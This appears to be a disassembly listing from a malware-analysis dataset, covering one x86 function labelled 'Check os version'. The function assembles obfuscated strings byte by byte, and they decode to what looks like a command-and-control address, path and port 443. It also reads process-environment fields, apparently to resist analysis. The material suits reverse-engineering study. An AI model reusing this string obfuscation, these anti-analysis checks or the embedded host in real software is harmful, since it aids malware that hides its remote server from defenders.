Function at 0x426216
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, ecx
mov dword [ebp - 4], edx
push edi
mov al, byte [esi]
add al, 0x33
mov byte [edx + 0x104], al
mov al, byte [esi]
add al, 0x39
mov byte [edx + 0x105], al
mov al, byte [esi]
add al, 0x2e
mov byte [edx + 0x106], al
mov al, byte [esi]
add al, 0x31
mov byte [edx + 0x107], al
mov al, byte [esi]
add al, 0x30
mov byte [edx + 0x108], al
mov al, byte [esi]
add al, 0x37
mov byte [edx + 0x109], al
mov al, byte [esi]
add al, 0x2e
mov byte [edx + 0x10a], al
mov al, byte [esi]
add al, 0x39
mov byte [edx + 0x10b], al
mov al, byte [esi]
add al, 0x38
mov byte [edx + 0x10c], al
mov al, byte [esi]
add al, 0x2e
mov byte [edx + 0x10d], al
mov al, byte [esi]
add al, 0x37
mov byte [edx + 0x10e], al
mov al, byte [esi]
add al, 0x36
mov byte [edx + 0x10f], al
mov al, byte [esi]
mov byte [edx + 0x110], al
mov al, byte [esi]
add al, 0x2f
mov byte [edx + 0x20a], al
mov al, byte [esi]
add al, 0x6b
mov byte [edx + 0x20b], al
mov al, byte [esi]
add al, 0x75
mov byte [edx + 0x20c], al
mov al, byte [esi]
add al, 0x6d
mov byte [edx + 0x20d], al
mov eax, dword fs:[0x30]
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x10], eax
mov al, byte [esi]
add al, 0x6f
mov dword [ebp - 0x14], ecx
mov byte [edx + 0x20e], al
mov al, byte [esi]
add al, 0x6b
mov byte [edx + 0x20f], al
mov al, byte [esi]
add al, 0x6f
mov byte [edx + 0x210], al
mov al, byte [esi]
add al, 0x2f
mov byte [edx + 0x211], al
mov al, byte [esi]
add al, 0x77
mov byte [edx + 0x212], al
mov al, byte [esi]
add al, 0x61
mov byte [edx + 0x213], al
mov edi, dword [ecx + 8]
xor ecx, ecx
cmp byte [edi + 1], 0x5a
je 0x42633a
mov edx, dword [ebp - 0x14]
mov ebx, ecx
lea eax, [ebx + edx]
mov byte [ebx + edi], al
inc ebx
cmp ebx, 0xa
jb 0x42632b
mov edx, dword [ebp - 4]
mov ebx, dword fs:[0x30]
mov al, byte [esi]
add al, 0x6b
mov dword [ebp - 0x1c], ebx
mov byte [edx + 0x214], al
mov al, byte [esi]
add al, 0x61
mov byte [edx + 0x215], al
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x64]
mov dword [ebp - 0xc], eax
mov al, byte [esi]
add al, 0x62
mov byte [edx + 0x216], al
mov al, byte [esi]
add al, 0x61
mov byte [edx + 0x217], al
mov al, byte [esi]
mov edi, dword [ebx + 0x64]
add al, 0x2e
mov byte [edx + 0x218], al
mov al, byte [esi]
add al, 0x62
mov dword [ebp - 8], edi
mov byte [edx + 0x219], al
mov al, byte [esi]
add al, 0x6d
mov byte [edx + 0x21a], al
mov al, byte [esi]
add al, 0x70
mov byte [edx + 0x21b], al
mov eax, dword fs:[0x30]
mov dword [ebp - 0x14], eax
mov eax, dword [eax + 0x64]
mov dword [ebp - 0x18], eax
cmp eax, 0x1f4
jbe 0x4263d2
mov edi, dword [ebp - 0x14]
mov ebx, ecx
mov edx, eax
lea eax, [ebx + edx]
mov byte [ebx + edi], al
inc ebx
cmp ebx, 0x13
jb 0x4263c0
mov edx, dword [ebp - 4]
mov edi, dword [ebp - 8]
cmp edi, 0x1f4
jbe 0x4263f1
mov edx, dword [ebp - 8]
mov ebx, ecx
mov edi, dword [ebp - 0x1c]
lea eax, [ebx + edx]
mov byte [ebx + edi], al
inc ebx
cmp ebx, 0x13
jb 0x4263e2
mov edx, dword [ebp - 4]
cmp dword [ebp - 0xc], 0x1f4
mov edi, dword fs:[0x30]
mov eax, dword fs:[0x30]
mov dword [ebp - 0x14], edi
mov dword [ebp - 8], eax
jbe 0x426427
mov edx, dword [ebp - 0xc]
mov ebx, ecx
mov edi, dword [ebp - 0x10]
lea eax, [ebx + edx]
mov byte [ebx + edi], al
inc ebx
cmp ebx, 0x13
jb 0x426415
mov edx, dword [ebp - 4]
mov edi, dword [ebp - 0x14]
mov ebx, dword fs:[0x30]
mov al, byte [esi]
mov esi, dword fs:[0x30]
mov byte [edx + 0x21c], al
mov eax, 0x1bb
mov edi, dword [edi + 0x64]
mov word [edx + 0x208], ax
mov eax, dword [ebp - 8]
mov dword [edx + 0x310], ecx
mov word [edx + 0x314], 1
mov dword [ebp - 0x18], ebx
mov eax, dword [eax + 8]
mov ebx, dword [ebx + 0x64]
mov dword [edx + 0x324], 0xea60
mov byte [edx + 0x328], 1
cmp byte [eax + 1], 0x5a
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], ebx
je 0x42649d
mov ebx, dword [ebp - 8]
mov edx, ecx
mov edi, eax
lea eax, [edx + ebx]
mov byte [edx + edi], al
inc edx
cmp edx, 0xa
jb 0x42648b
mov ebx, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
cmp edi, 0x1f4
jbe 0x4264bc
mov ebx, dword [ebp - 0x10]
mov edx, ecx
mov edi, dword [ebp - 0x14]
lea eax, [edx + ebx]
mov byte [edx + edi], al
inc edx
cmp edx, 0x13
jb 0x4264ad
mov ebx, dword [ebp - 0xc]
cmp ebx, 0x1f4
jbe 0x4264d5
mov edi, dword [ebp - 0x18]
mov edx, ecx
lea eax, [edx + ebx]
mov byte [edx + edi], al
inc edx
cmp edx, 0x13
jb 0x4264c9
mov edx, dword [esi + 0xa4]
mov esi, dword [esi + 0xc]
cmp edx, 2
jae 0x4264f0
lea eax, [edx + ecx]
mov word [esi + ecx*2], ax
inc ecx
cmp ecx, 3
jb 0x4264e3
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret